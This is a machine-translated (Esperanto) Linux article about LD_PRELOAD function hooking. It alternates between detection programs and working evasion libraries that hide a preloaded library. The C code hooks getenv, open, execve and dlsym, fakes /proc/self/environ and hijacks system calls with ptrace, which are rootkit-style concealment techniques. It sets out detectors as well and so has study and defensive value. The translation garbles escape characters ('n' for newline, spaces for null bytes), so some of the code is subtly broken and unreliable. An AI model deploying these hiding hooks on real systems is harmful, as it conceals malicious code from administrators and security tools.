Serĉante LD_PRELOAD

Ĉi tiu noto estis skribita en 2014, sed mi ĵus subpremis Habré kaj ĝi ne vidis la lumon de la tago. Dum la malpermeso mi forgesis pri ĝi, sed nun mi trovis ĝin en la malnetoj. Mi pensis pri forigi ĝin, sed eble ĝi utilos al iu.

Serĉante LD_PRELOAD

Ĝenerale, iom vendreda administranto legado pri la temo serĉi "inkluzivita" LD_PRELOAD.

1. Mallonga deturniĝo por tiuj, kiuj ne konas funkcion anstataŭigon

La resto povas iri rekte al p.2.

Ni komencu per klasika ekzemplo:

#include <stdio.h>
#include <stdlib.h>
#include <time.h>

int main()
{
  srand (time(NULL));
  for(int i=0; i<5; i++){
    printf ("%dn", rand()%100);
  }
}

Ni kompilas sen ajnaj flagoj:

$ gcc ./ld_rand.c -o ld_rand

Kaj, kiel atendite, ni ricevas 5 hazardajn nombrojn malpli ol 100:

$ ./ld_rand
53
93
48
57
20

Sed ni imagu, ke ni ne havas la fontkodon de la programo, sed ni devas ŝanĝi la konduton.

Ni kreu nian propran bibliotekon kun nia propra funkcia prototipo, ekzemple:

int rand(){
  return 42;
}

$ gcc -shared -fPIC ./o_rand.c -o ld_rand.so

Kaj nun nia hazarda elekto estas sufiĉe antaŭvidebla:

# LD_PRELOAD=$PWD/ld_rand.so ./ld_rand
42
42
42
42
42

Ĉi tiu lertaĵo aspektas eĉ pli impona se ni unue eksportas nian bibliotekon pere

$ export LD_PRELOAD=$PWD/ld_rand.so

aŭ ni faros ĝin unue

# echo "$PWD/ld_rand.so" > /etc/ld.so.preload

kaj poste rulu la programon kiel kutime. Ni ne ŝanĝis eĉ unu linion de kodo en la programo mem, sed ĝia konduto nun dependas de eta funkcio en nia biblioteko. Cetere, en la momento de verkado de la programo, la rand eĉ ne ekzistis.

Kio igis nian programon uzi falsaĵon rand? Ni prenu ĝin paŝon post paŝo.
Kiam aplikaĵo komenciĝas, certaj bibliotekoj estas ŝarĝitaj, kiuj enhavas la funkciojn necesajn de la programo. Ni povas vidi ilin uzante ldd:

# ldd ./ld_rand
        linux-vdso.so.1 (0x00007ffc8b1f3000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fe3da8af000)
        /lib64/ld-linux-x86-64.so.2 (0x00007fe3daa7e000)

Ĉi tiu listo povas varii laŭ la OS-versio, sed devas esti dosiero tie libc.so. Estas ĉi tiu biblioteko kiu disponigas sistemajn vokojn kaj bazajn funkciojn kiel ekzemple malfermita, malloc, printf ktp Nia rand estas ankaŭ inter ili. Ni certigu ĉi tion:

# nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep " rand$"
000000000003aef0 T rand

Ni vidu ĉu la aro de bibliotekoj ŝanĝiĝas kiam uzata LD_PRELOAD

# LD_PRELOAD=$PWD/ld_rand.so ldd ./ld_rand
        linux-vdso.so.1 (0x00007ffea52ae000)
        /scripts/c/ldpreload/ld_rand.so (0x00007f690d3f9000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f690d230000)
        /lib64/ld-linux-x86-64.so.2 (0x00007f690d405000)

Montriĝas, ke la variablo estas metita LD_PRELOAD devigas nian ŝarĝi ld_rand.so eĉ malgraŭ tio, ke la programo mem ne postulas ĝin. Kaj ekde nia funkcio "rando" ŝarĝoj pli frue ol rand el libc.so, tiam ŝi regas la ripozejon.

Bone, ni sukcesis anstataŭigi la denaskan funkcion, sed kiel ni povas certigi, ke ĝia funkcieco estas konservita kaj kelkaj agoj estas aldonitaj. Ni modifi nian hazardan:

#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdio.h>
 
typedef int (*orig_rand_f_type)(void);
 
int rand()
{
  /* Выполняем некий код */
  printf("Evil injected coden");
  
  orig_rand_f_type orig_rand;
  orig_rand = (orig_rand_f_type)dlsym(RTLD_NEXT,"rand");
  return orig_rand();
}

Ĉi tie, kiel nia "aldono", ni presas nur unu linion de teksto, post kio ni kreas montrilon al la originala funkcio rand. Por akiri la adreson de ĉi tiu funkcio ni bezonas dlsym estas funkcio de la biblioteko libdlkiu trovos nian rand en stako de dinamikaj bibliotekoj. Post kio ni vokos ĉi tiun funkcion kaj redonos ĝian valoron. Sekve, ni devos aldoni "-ldl" dum asembleo:

$ gcc -ldl -shared -fPIC ./o_rand_evil.c -o ld_rand_evil.so

$ LD_PRELOAD=$PWD/ld_rand_evil.so ./ld_rand
Evil injected code
66
Evil injected code
28
Evil injected code
93
Evil injected code
93
Evil injected code
95

Kaj nia programo uzas "denaskan" rand, antaŭe farinte kelkajn obscenajn agojn.

2. La doloro de serĉado

Sciante pri ebla minaco, ni volas detekti tion preŝargi Ĝi estis farita. Estas klare, ke la plej bona maniero detekti estas puŝi ĝin en la kernon, sed mi interesiĝis pri la detektaj opcioj en uzantspaco.

Poste, solvoj por detekto kaj ilia refuto venos duope.

2.1. Ni komencu simple

Kiel menciite antaŭe, vi povas specifi la bibliotekon por ŝargi uzante la variablon LD_PRELOAD aŭ skribante ĝin en dosiero /etc/ld.so.preload. Ni kreu du simplajn detektilojn.

La unua estas kontroli la fiksitan mediovariablon:

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>

int main()
{
  char*  pGetenv = getenv("LD_PRELOAD");
  pGetenv != NULL ?
    printf("LD_PRELOAD (getenv) [+]n"):
    printf("LD_PRELOAD (getenv) [-]n");
}

La dua estas kontroli ĉu la dosiero estas malfermita:

#include <stdio.h>
#include <fcntl.h>

int main()
{
  open("/etc/ld.so.preload", O_RDONLY) != -1 ?
    printf("LD_PRELOAD (open) [+]n"):
    printf("LD_PRELOAD (open) [-]n");
}

Ni ŝarĝu la bibliotekojn:

$ export LD_PRELOAD=$PWD/ld_rand.so
$ echo "$PWD/ld_rand.so" > /etc/ld.so.preload

$ ./detect_base_getenv
LD_PRELOAD (getenv) [+]
$ ./detect_base_open
LD_PRELOAD (open) [+]

Ĉi tie kaj sube, [+] indikas sukcesan detekton.
Sekve, [-] signifas preteriri detekton.

Kiom efika estas tia detektilo? Ni rigardu unue la mediovariablon:

#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <dlfcn.h>

char* (*orig_getenv)(const char *) = NULL;
char* getenv(const char *name)
{
    if(!orig_getenv) orig_getenv = dlsym(RTLD_NEXT, "getenv");
    if(strcmp(name, "LD_PRELOAD") == 0) return NULL;
    return orig_getenv(name);
}

$ gcc -shared -fpic -ldl ./ld_undetect_getenv.c -o ./ld_undetect_getenv.so
$ LD_PRELOAD=./ld_undetect_getenv.so ./detect_base_getenv
LD_PRELOAD (getenv) [-]

Simile, ni forigas la ĉekon malfermita:

#define _GNU_SOURCE
#include <string.h>
#include <stdlib.h>
#include <dlfcn.h>
#include <errno.h>

int (*orig_open)(const char*, int oflag) = NULL;

int open(const char *path, int oflag, ...)
{
    char real_path[256];
    if(!orig_open) orig_open = dlsym(RTLD_NEXT, "open");
    realpath(path, real_path);
    if(strcmp(real_path, "/etc/ld.so.preload") == 0){
        errno = ENOENT;
        return -1;
    }
    return orig_open(path, oflag);
}

$ gcc -shared -fpic -ldl ./ld_undetect_open.c -o ./ld_undetect_open.so
$ LD_PRELOAD=./ld_undetect_open.so ./detect_base_open
LD_PRELOAD (open) [-]

Jes, aliaj manieroj aliri la dosieron uzeblas ĉi tie, kiel ekzemple, malfermita64, stat ktp., sed, fakte, estas bezonataj la samaj 5-10 linioj de kodo por trompi ilin.

2.2. Ni pluiru

Supre ni uzis getenv() por akiri la valoron LD_PRELOAD, sed ekzistas ankaŭ pli "malaltnivela" maniero atingi ENV-variabloj. Ni ne uzos mezajn funkciojn, sed raportos al la tabelo **ĉirkaŭ, kiu konservas kopion de la medio:

#include <stdio.h>
#include <string.h>

extern char **environ;
int main(int argc, char **argv) {
  int i;
  char env[] = "LD_PRELOAD";
  if (environ != NULL)
    for (i = 0; environ[i] != NULL; i++)
    {
      char * pch;
      pch = strstr(environ[i],env);
      if(pch != NULL)
      {
        printf("LD_PRELOAD (**environ) [+]n");
        return 0;
      }
    }
  printf("LD_PRELOAD (**environ) [-]n");
  return 0;
}

Ĉar ĉi tie ni legas datumojn rekte el memoro, tia voko ne povas esti kaptita, kaj nia maldetekti_getenv ĝi ne plu malhelpas identigi la entrudiĝon.

$ LD_PRELOAD=./ld_undetect_getenv.so ./detect_environ
LD_PRELOAD (**environ) [+]

Ŝajnus, ke ĉi tiu problemo estas solvita? Ĝi ankoraŭ ĵus komencas.

Post kiam la programo estas komencita, la valoro de la variablo LD_PRELOAD retpiratoj ne plu bezonas ĝin en memoro, tio estas, ili povas legi ĝin kaj forigi ĝin antaŭ ol ekzekuti ajnajn instrukciojn. Kompreneble, redaktado de tabelo en memoro estas, minimume, malbona programa stilo, sed kiel ĉi tio povas malhelpi iun, kiu tamen ne vere deziras al ni bonon?

Por fari tion ni devas krei nian propran falsan funkcion en ĝi(), en kiu ni kaptas la instalitan LD_PRELOAD kaj transdonu ĝin al nia ligilo:

#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <dlfcn.h>
#include <stdlib.h>

extern char **environ;
char *evil_env;
int (*orig_execve)(const char *path, char *const argv[], char *const envp[]) = NULL;


// Создаём фейковую версию init
// которая будет вызвана при загрузке программы
// до выполнения каких-либо инструкций

void evil_init()
{
  // Сначала сохраним текущее значение LD_PRELOAD
  static const char *ldpreload = "LD_PRELOAD";
  int len = strlen(getenv(ldpreload));
  evil_env = (char*) malloc(len+1);
  strcpy(evil_env, getenv(ldpreload));

  int i;
  char env[] = "LD_PRELOAD";
  if (environ != NULL)
    for (i = 0; environ[i] != NULL; i++) {
      char * pch;
      pch = strstr(environ[i],env);
      if(pch != NULL) {
        // Избавляемся от текущего LD_PRELOAD
        unsetenv(env);
        break;
      }
    }
}

int execve(const char *path, char *const argv[], char *const envp[])
{
  int i = 0, j = 0, k = -1, ret = 0;
  char** new_env;
  if(!orig_execve) orig_execve = dlsym(RTLD_NEXT,"execve");

  // Проверям не существует ли других установленных LD_PRELOAD
  for(i = 0; envp[i]; i++){
    if(strstr(envp[i], "LD_PRELOAD")) k = i;
  }
  // Если LD_PRELOAD не было установлено до нас, то добавим его
  if(k == -1){
    k = i;
    i++;
  }
  // Создаём новое окружение
  new_env = (char**) malloc((i+1)*sizeof(char*));

  // Копируем старое окружение, за исключением LD_PRELOAD
  for(j = 0; j < i; j++) {
    // перезаписываем или создаём LD_PRELOAD
    if(j == k) {
      new_env[j] = (char*) malloc(256);
      strcpy(new_env[j], "LD_PRELOAD=");
      strcat(new_env[j], evil_env);
    }
    else new_env[j] = (char*) envp[j];
  }
  new_env[i] = NULL;
  ret = orig_execve(path, argv, new_env);
  free(new_env[k]);
  free(new_env);
  return ret;
}

Ni plenumas kaj kontrolas:

$ gcc -shared -fpic -ldl -Wl,-init,evil_init  ./ld_undetect_environ.c -o ./ld_undetect_environ.so
$ LD_PRELOAD=./ld_undetect_environ.so ./detect_environ
LD_PRELOAD (**environ) [-]

2.3. /proc/self/

Tamen, memoro ne estas la lasta loko kie vi povas trovi anstataŭaĵon LD_PRELOAD, estas ankaŭ /proc/. Ni komencu per la evidenta /proc/{PID}/ĉirkaŭ.

Fakte, ekzistas universala solvo por nedetekti **ĉirkaŭ и /proc/self/environ. La problemo estas la "malĝusta" konduto unsetenv(env).

ĝusta opcio

void evil_init()
{
  // Сначала сохраним текущее значение LD_PRELOAD
  static const char *ldpreload = "LD_PRELOAD";
  int len = strlen(getenv(ldpreload));
  evil_env = (char*) malloc(len+1);
  strcpy(evil_env, getenv(ldpreload));
 
  int i;
  char env[] = "LD_PRELOAD";
  if (environ != NULL)
    for (i = 0; environ[i] != NULL; i++) {
      char * pch;
      pch = strstr(environ[i],env);
      if(pch != NULL) {
        // Избавляемся от текущего LD_PRELOAD 
        //unsetenv(env);
        // Вместо unset просто обнулим нашу переменную
        for(int j = 0; environ[i][j] != ' '; j++) environ[i][j] = ' ';
        break;
      }
    }
}
$ gcc -shared -fpic -ldl -Wl,-init,evil_init  ./ld_undetect_environ_2.c -o ./ld_undetect_environ_2.so
$ (LD_PRELOAD=./ld_undetect_environ_2.so cat /proc/self/environ; echo) | tr " 00" "n" | grep -F LD_PRELOAD
$

Sed ni imagu, ke ni ne trovis ĝin kaj /proc/self/environ enhavas "problemajn" datumojn.

Unue ni provu per nia antaŭa "alivestiĝo":

$ (LD_PRELOAD=./ld_undetect_environ.so cat /proc/self/environ; echo) | tr " 00" "n" | grep -F LD_PRELOAD
LD_PRELOAD=./ld_undetect_environ.so

kato uzas la saman por malfermi la dosieron malfermi(), do la solvo estas simila al tio, kio estis jam farita en la sekcio 2.1, sed nun ni kreas provizoran dosieron, kie ni kopias la valorojn de la vera memoro sen linioj enhavantaj. LD_PRELOAD.

#define _GNU_SOURCE
#include <dlfcn.h>

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <unistd.h>
#include <limits.h>
#include <errno.h>

#define BUFFER_SIZE 256

int (*orig_open)(const char*, int oflag) = NULL;
char *soname = "fakememory_preload.so";

char *sstrstr(char *str, const char *sub)
{
  int i, found;
  char *ptr;
  found = 0;
  for(ptr = str; *ptr != ' '; ptr++) {
    found = 1;
    for(i = 0; found == 1 && sub[i] != ' '; i++){
      if(sub[i] != ptr[i]) found = 0;
    }
    if(found == 1)
      break;
  }
  if(found == 0)
    return NULL;
  return ptr + i;
}

void fakeMaps(char *original_path, char *fake_path, char *pattern)
{
  int fd;
  char buffer[BUFFER_SIZE];
  int bytes = -1;
  int wbytes = -1;
  int k = 0;

  pid_t pid = getpid();

  int fh;
  if ((fh=orig_open(fake_path,O_CREAT|O_WRONLY))==-1) {
    printf("LD: Cannot open write-file [%s] (%d) (%s)n", fake_path, errno, strerror(errno));
    exit (42);
  }
  if((fd=orig_open(original_path, O_RDONLY))==-1) {
    printf("LD: Cannot open read-file.n");
    exit(42);
  }
  do
  {
    char t = 0;
    bytes = read(fd, &t, 1);
    buffer[k++] = t;
    //printf("%c", t);
    if(t == ' ') {
      //printf("n");
  
      if(!sstrstr(buffer, "LD_PRELOAD")) {
        if((wbytes = write(fh,buffer,k))==-1) {
          //printf("write errorn");
        }
        else {
          //printf("writed %dn", wbytes);
        }
      }
      k = 0;
    }
  }
  while(bytes != 0);
    
  close(fd);
  close(fh);
}

int open(const char *path, int oflag, ...)
{
  char real_path[PATH_MAX], proc_path[PATH_MAX], proc_path_0[PATH_MAX];
  pid_t pid = getpid();
  if(!orig_open)
  orig_open = dlsym(RTLD_NEXT, "open");
  realpath(path, real_path);
  snprintf(proc_path, PATH_MAX, "/proc/%d/environ", pid);
  
  if(strcmp(real_path, proc_path) == 0) {
    snprintf(proc_path, PATH_MAX, "/tmp/%d.fakemaps", pid);
    realpath(proc_path_0, proc_path);
    
    fakeMaps(real_path, proc_path, soname);
    return orig_open(proc_path, oflag);
  }
  return orig_open(path, oflag);
}

Kaj ĉi tiu etapo estis trapasita:

$ (LD_PRELOAD=./ld_undetect_proc_environ.so cat /proc/self/environ; echo) | tr " 00" "n" | grep -F LD_PRELOAD
$

La sekva evidenta loko estas /proc/self/maps. Ne utilas enloĝiĝi pri ĝi. La solvo estas absolute identa al la antaŭa: kopiu la datumojn de la dosiero minus la liniojn inter libc.so и ld.tiel.

2.4. Opcio de Chokepoint

Mi precipe ŝatis ĉi tiun solvon pro ĝia simpleco. Ni komparas la adresojn de funkcioj ŝarĝitaj rekte de libc, kaj "NEXT" adresoj.

#define _GNU_SOURCE

#include <stdio.h>
#include <dlfcn.h>

#define LIBC "/lib/x86_64-linux-gnu/libc.so.6"

int main(int argc, char *argv[]) {
  void *libc = dlopen(LIBC, RTLD_LAZY); // Open up libc directly
  char *syscall_open = "open";
  int i;
  void *(*libc_func)();
  void *(*next_func)();
  
  libc_func = dlsym(libc, syscall_open);
  next_func = dlsym(RTLD_NEXT, syscall_open);
  if (libc_func != next_func) {
    printf("LD_PRELOAD (syscall - %s) [+]n", syscall_open);
    printf("Libc address: %pn", libc_func);
    printf("Next address: %pn", next_func);
  }
  else {
    printf("LD_PRELOAD (syscall - %s) [-]n", syscall_open);
  }
  return 0;
}

Ŝargante la bibliotekon kun interkapto "malfermu ()" kaj kontrolu:

$ export LD_PRELOAD=$PWD/ld_undetect_open.so
$ ./detect_chokepoint
LD_PRELOAD (syscall - open) [+]
Libc address: 0x7fa86893b160
Next address: 0x7fa868a26135

La refuto montriĝis eĉ pli simpla:

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dlfcn.h>

extern void * _dl_sym (void *, const char *, void *);
void * dlsym (void * handle, const char * symbol)
{
  return _dl_sym (handle, symbol, dlsym);
}

# LD_PRELOAD=./ld_undetect_chokepoint.so ./detect_chokepoint
LD_PRELOAD (syscall - open) [-]

2.5. Syscalls

Ŝajnus, ke ĉi tio estas ĉio, sed ni ankoraŭ ŝanceliĝos. Se ni direktas la sistemvokon rekte al la kerno, ĉi tio preteriros la tutan interkaptan procezon. La malsupra solvo estas, kompreneble, arkitekturo-dependa (x86_64). Ni provu efektivigi ĝin por detekti malfermon ld.so.preload.

#include <stdio.h>
#include <sys/stat.h>
#include <fcntl.h>

#define BUFFER_SIZE 256

int syscall_open(char *path, long oflag)
{
    int fd = -1;
    __asm__ (
             "mov $2, %%rax;" // Open syscall number
             "mov %1, %%rdi;" // Address of our string
             "mov %2, %%rsi;" // Open mode
             "mov $0, %%rdx;" // No create mode
             "syscall;"       // Straight to ring0
             "mov %%eax, %0;" // Returned file descriptor
             :"=r" (fd)
             :"m" (path), "m" (oflag)
             :"rax", "rdi", "rsi", "rdx"
             );
    return fd;
 }
int main()
{
    syscall_open("/etc/ld.so.preload", O_RDONLY) > 0 ?
      printf("LD_PRELOAD (open syscall) [+]n"):
      printf("LD_PRELOAD (open syscall) [-]n");
        
}

$ ./detect_syscall
LD_PRELOAD (open syscall) [+]

Kaj ĉi tiu problemo havas solvon. Eltiraĵo el viro'A:

ptrace estas ilo kiu permesas al gepatra procezo observi kaj kontroli la progreson de alia procezo, vidi kaj ŝanĝi ĝiajn datumojn kaj registrojn. Tipe ĉi tiu funkcio estas uzata por krei rompopunktojn en sencimiga programo kaj monitori sistemajn vokojn.

La gepatra procezo povas komenci spuradon unue vokante fork(2), kaj tiam la rezulta infana procezo povas ekzekuti PTRACE_TRACEME, sekvita (kutime) per ekzekuto de exec(3). Aliflanke, gepatra procezo povas komenci sencimigi ekzistantan procezon uzante PTRACE_ATTACH.

Dum spurado, la infanprocezo ĉesas ĉiun fojon kiam ĝi ricevas signalon, eĉ se la signalo estas ignorita. (La escepto estas SIGKILL, kiu funkcias normale.) La gepatra procezo estos sciigita pri tio per voko wait(2), post kio ĝi povas vidi kaj modifi la enhavon de la infana procezo antaŭ ol ĝi komenciĝas. La gepatra procezo tiam permesas al la infano daŭrigi kuri, en kelkaj kazoj ignorante la signalon senditan al ĝi aŭ sendante alian signalon anstataŭe).

Tiel, la solvo estas monitori la procezon, haltigante ĝin antaŭ ĉiu sistema voko kaj, se necese, redirekti la fadenon al hoka funkcio.

#define _GNU_SOURCE
#include <fcntl.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <limits.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <sys/reg.h>
#include <sys/user.h>
#include <asm/unistd.h>


#if defined(__x86_64__)
#define REG_SYSCALL ORIG_RAX
#define REG_SP rsp
#define REG_IP rip 
#endif

long NOHOOK = 0;

long evil_open(const char *path, long oflag, long cflag) 
{
    char real_path[PATH_MAX], maps_path[PATH_MAX];
    long ret;
    pid_t pid;
    pid = getpid();
    realpath(path, real_path);
    if(strcmp(real_path, "/etc/ld.so.preload") == 0)
    {
        errno = ENOENT;
        ret = -1;
    }
    else
    {
        NOHOOK = 1; // Entering NOHOOK section
        ret = open(path, oflag, cflag);
    }
    // Exiting NOHOOK section
    NOHOOK = 0;
    return ret;
}

void init()
{
    pid_t program;
    // Форкаем дочерний процесс
    program = fork();
    if(program != 0) {
        int status;
        long syscall_nr;
        struct user_regs_struct regs;
        // Подключаемся к дочернему процессу
        if(ptrace(PTRACE_ATTACH, program) != 0) {
            printf("Failed to attach to the program.n");
            exit(1);
        }
        waitpid(program, &status, 0);
        // Отслеживаем только SYSCALLs
        ptrace(PTRACE_SETOPTIONS, program, 0, PTRACE_O_TRACESYSGOOD);
        while(1) {
            ptrace(PTRACE_SYSCALL, program, 0, 0);
            waitpid(program, &status, 0);
            if(WIFEXITED(status) || WIFSIGNALED(status)) break;
            else if(WIFSTOPPED(status) && WSTOPSIG(status) == SIGTRAP|0x80) {
                // Получаем номер системного вызова
                syscall_nr = ptrace(PTRACE_PEEKUSER, program, sizeof(long)*REG_SYSCALL);
                if(syscall_nr == __NR_open) {
                    // Читаем слово из памяти дочернего процесса
                    NOHOOK = ptrace(PTRACE_PEEKDATA, program, (void*)&NOHOOK);
                    // Перехватываем вызов
                    if(!NOHOOK) {
                        
                        // Копируем регистры дочернего процесса
                        // в переменную regs родительского
                        ptrace(PTRACE_GETREGS, program, 0, &regs);
                        // Push return address on the stack
                        regs.REG_SP -= sizeof(long);
                        // Копируем слово в память дочернего процесса
                        ptrace(PTRACE_POKEDATA, program, (void*)regs.REG_SP, regs.REG_IP);
                        // Устанавливаем RIP по адресу evil_open
                        regs.REG_IP = (unsigned long) evil_open;
                        // Записываем состояние регистров процесса
                        ptrace(PTRACE_SETREGS, program, 0, &regs);
                    }
                }
                ptrace(PTRACE_SYSCALL, program, 0, 0);
                waitpid(program, &status, 0);
            }
        }
        exit(0);
    }
    else {
        sleep(0);
    }
}

Ni kontrolas:

$ ./detect_syscall
LD_PRELOAD (open syscall) [+]
$ LD_PRELOAD=./ld_undetect_syscall.so ./detect_syscall
LD_PRELOAD (open syscall) [-]

+0-0=5

Multaj dankoj

Charles Hubain
Chokepoint
ValdikSS
Philippe Teuwen
derhass

, kies artikoloj, fontoj kaj komentoj multe pli ol mi faris por ke ĉi tiu ĉi noto aperu ĉi tie.

fonto: www.habr.com

Aldoni komenton